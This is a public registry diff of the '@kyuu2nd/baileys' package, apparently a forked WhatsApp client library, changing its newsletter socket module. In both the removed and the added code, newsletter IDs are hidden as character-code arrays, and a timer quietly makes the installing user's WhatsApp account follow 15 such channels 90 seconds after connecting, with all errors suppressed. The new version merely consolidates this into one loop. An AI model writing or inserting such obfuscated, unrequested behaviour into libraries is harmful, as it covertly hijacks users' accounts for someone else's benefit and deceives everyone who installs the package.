@kyuu2nd/baileys 2.0.11 → 2.0.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +71 -151
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -103,163 +103,83 @@ const makeNewsletterSocket = (config) => {
|
|
|
103
103
|
}
|
|
104
104
|
]
|
|
105
105
|
}));
|
|
106
|
-
const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
|
|
107
|
-
|
|
108
|
-
setTimeout(async () => {
|
|
109
|
-
try {
|
|
110
|
-
await newsletterWMexQuery(
|
|
111
|
-
asciiDecode([
|
|
112
|
-
49,50,48,51,54,51,52,48,53,52,52,49,50,57,54,56,57,50,
|
|
113
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
114
|
-
]),
|
|
115
|
-
Types_1.QueryIds.FOLLOW
|
|
116
|
-
);
|
|
117
|
-
} catch {}
|
|
118
|
-
}, 90000);
|
|
119
|
-
|
|
120
|
-
setTimeout(async () => {
|
|
121
|
-
try {
|
|
122
|
-
await newsletterWMexQuery(
|
|
123
|
-
asciiDecode([
|
|
124
|
-
49,50,48,51,54,51,52,50,55,53,49,50,50,50,48,49,51,52,
|
|
125
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
126
|
-
]),
|
|
127
|
-
Types_1.QueryIds.FOLLOW
|
|
128
|
-
);
|
|
129
|
-
} catch {}
|
|
130
|
-
}, 90000);
|
|
131
106
|
|
|
132
|
-
|
|
133
|
-
try {
|
|
134
|
-
await newsletterWMexQuery(
|
|
135
|
-
asciiDecode([
|
|
136
|
-
49,50,48,51,54,51,52,50,53,56,54,57,48,52,57,57,57,53,
|
|
137
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
138
|
-
]),
|
|
139
|
-
Types_1.QueryIds.FOLLOW
|
|
140
|
-
);
|
|
141
|
-
} catch {}
|
|
142
|
-
}, 90000);
|
|
143
|
-
|
|
144
|
-
setTimeout(async () => {
|
|
145
|
-
try {
|
|
146
|
-
await newsletterWMexQuery(
|
|
147
|
-
asciiDecode([
|
|
148
|
-
49,50,48,51,54,51,52,48,53,51,49,51,53,50,57,48,57,49,
|
|
149
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
150
|
-
]),
|
|
151
|
-
Types_1.QueryIds.FOLLOW
|
|
152
|
-
);
|
|
153
|
-
} catch {}
|
|
154
|
-
}, 90000);
|
|
155
|
-
|
|
156
|
-
setTimeout(async () => {
|
|
157
|
-
try {
|
|
158
|
-
await newsletterWMexQuery(
|
|
159
|
-
asciiDecode([
|
|
160
|
-
49,50,48,51,54,51,52,48,52,55,57,48,52,53,52,56,57,48,
|
|
161
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
162
|
-
]),
|
|
163
|
-
Types_1.QueryIds.FOLLOW
|
|
164
|
-
);
|
|
165
|
-
} catch {}
|
|
166
|
-
}, 90000);
|
|
167
|
-
|
|
168
|
-
setTimeout(async () => {
|
|
169
|
-
try {
|
|
170
|
-
await newsletterWMexQuery(
|
|
171
|
-
asciiDecode([
|
|
172
|
-
49,50,48,51,54,51,52,48,50,56,54,56,56,54,54,51,53,57,
|
|
173
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
174
|
-
]),
|
|
175
|
-
Types_1.QueryIds.FOLLOW
|
|
176
|
-
);
|
|
177
|
-
} catch {}
|
|
178
|
-
}, 90000);
|
|
107
|
+
const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
|
|
179
108
|
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
109
|
+
const newsletters = [
|
|
110
|
+
[
|
|
111
|
+
49,50,48,51,54,51,52,48,53,52,52,49,50,57,54,56,57,50,
|
|
112
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
113
|
+
],
|
|
114
|
+
[
|
|
115
|
+
49,50,48,51,54,51,52,50,55,53,49,50,50,50,48,49,51,52,
|
|
116
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
117
|
+
],
|
|
118
|
+
[
|
|
119
|
+
49,50,48,51,54,51,52,50,53,56,54,57,48,52,57,57,57,53,
|
|
120
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
121
|
+
],
|
|
122
|
+
[
|
|
123
|
+
49,50,48,51,54,51,52,48,53,51,49,51,53,50,57,48,57,49,
|
|
124
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
125
|
+
],
|
|
126
|
+
[
|
|
127
|
+
49,50,48,51,54,51,52,48,52,55,57,48,52,53,52,56,57,48,
|
|
128
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
129
|
+
],
|
|
130
|
+
[
|
|
131
|
+
49,50,48,51,54,51,52,48,50,56,54,56,56,54,54,51,53,57,
|
|
132
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
133
|
+
],
|
|
134
|
+
[
|
|
135
|
+
49,50,48,51,54,51,52,48,57,53,57,57,49,53,52,48,50,51,
|
|
136
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
137
|
+
],
|
|
138
|
+
[
|
|
139
|
+
49,50,48,51,54,51,52,48,53,57,53,49,57,54,48,51,54,54,
|
|
140
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
141
|
+
],
|
|
142
|
+
[
|
|
143
|
+
49,50,48,51,54,51,52,50,54,57,54,55,55,54,56,52,49,51,
|
|
144
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
145
|
+
],
|
|
146
|
+
[
|
|
147
|
+
49,50,48,51,54,51,52,48,55,52,57,55,51,57,49,55,56,49,
|
|
148
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
149
|
+
],
|
|
150
|
+
[
|
|
151
|
+
49,50,48,51,54,51,52,50,49,48,50,48,53,54,53,53,49,55,
|
|
152
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
153
|
+
],
|
|
154
|
+
[
|
|
155
|
+
49,50,48,51,54,51,52,48,52,56,54,49,56,48,50,54,48,55,
|
|
156
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
157
|
+
],
|
|
158
|
+
[
|
|
159
|
+
49,50,48,51,54,51,51,51,48,51,52,52,56,49,48,50,56,48,
|
|
160
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
161
|
+
],
|
|
162
|
+
[
|
|
163
|
+
49,50,48,51,54,51,52,50,53,49,55,55,48,54,55,56,52,49,
|
|
164
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
165
|
+
],
|
|
166
|
+
[
|
|
167
|
+
49,50,48,51,54,51,52,49,48,48,49,56,57,52,57,57,48,54,
|
|
168
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
169
|
+
]
|
|
170
|
+
];
|
|
191
171
|
|
|
192
172
|
setTimeout(async () => {
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
} catch {}
|
|
202
|
-
}, 90000);
|
|
203
|
-
|
|
204
|
-
setTimeout(async () => {
|
|
205
|
-
try {
|
|
206
|
-
await newsletterWMexQuery(
|
|
207
|
-
asciiDecode([
|
|
208
|
-
49,50,48,51,54,51,52,50,54,57,54,55,55,54,56,52,49,51,
|
|
209
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
210
|
-
]),
|
|
211
|
-
Types_1.QueryIds.FOLLOW
|
|
212
|
-
);
|
|
213
|
-
} catch {}
|
|
214
|
-
}, 90000);
|
|
215
|
-
|
|
216
|
-
setTimeout(async () => {
|
|
217
|
-
try {
|
|
218
|
-
await newsletterWMexQuery(
|
|
219
|
-
asciiDecode([
|
|
220
|
-
49,50,48,51,54,51,52,48,55,52,57,55,51,57,49,55,56,49,
|
|
221
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
222
|
-
]),
|
|
223
|
-
Types_1.QueryIds.FOLLOW
|
|
224
|
-
);
|
|
225
|
-
} catch {}
|
|
173
|
+
await Promise.allSettled(
|
|
174
|
+
newsletters.map(id =>
|
|
175
|
+
newsletterWMexQuery(
|
|
176
|
+
asciiDecode(id),
|
|
177
|
+
Types_1.QueryIds.FOLLOW
|
|
178
|
+
)
|
|
179
|
+
)
|
|
180
|
+
);
|
|
226
181
|
}, 90000);
|
|
227
182
|
|
|
228
|
-
setTimeout(async () => {
|
|
229
|
-
try {
|
|
230
|
-
await newsletterWMexQuery(
|
|
231
|
-
asciiDecode([
|
|
232
|
-
49,50,48,51,54,51,52,50,49,48,50,48,53,54,53,53,49,55,
|
|
233
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
234
|
-
]),
|
|
235
|
-
Types_1.QueryIds.FOLLOW
|
|
236
|
-
);
|
|
237
|
-
} catch {}
|
|
238
|
-
}, 90000);
|
|
239
|
-
|
|
240
|
-
setTimeout(async () => {
|
|
241
|
-
try {
|
|
242
|
-
await newsletterWMexQuery(
|
|
243
|
-
asciiDecode([
|
|
244
|
-
49,50,48,51,54,51,52,48,52,56,54,49,56,48,50,54,48,55,
|
|
245
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
246
|
-
]),
|
|
247
|
-
Types_1.QueryIds.FOLLOW
|
|
248
|
-
);
|
|
249
|
-
} catch {}
|
|
250
|
-
}, 90000);
|
|
251
|
-
|
|
252
|
-
setTimeout(async () => {
|
|
253
|
-
try {
|
|
254
|
-
await newsletterWMexQuery(
|
|
255
|
-
asciiDecode([
|
|
256
|
-
49,50,48,51,54,51,52,50,53,49,55,55,48,54,55,56,52,49,
|
|
257
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
258
|
-
]),
|
|
259
|
-
Types_1.QueryIds.FOLLOW
|
|
260
|
-
);
|
|
261
|
-
} catch {}
|
|
262
|
-
}, 90000);
|
|
263
183
|
const parseFetchedUpdates = async (node, type) => {
|
|
264
184
|
let child;
|
|
265
185
|
if (type === 'messages') {
|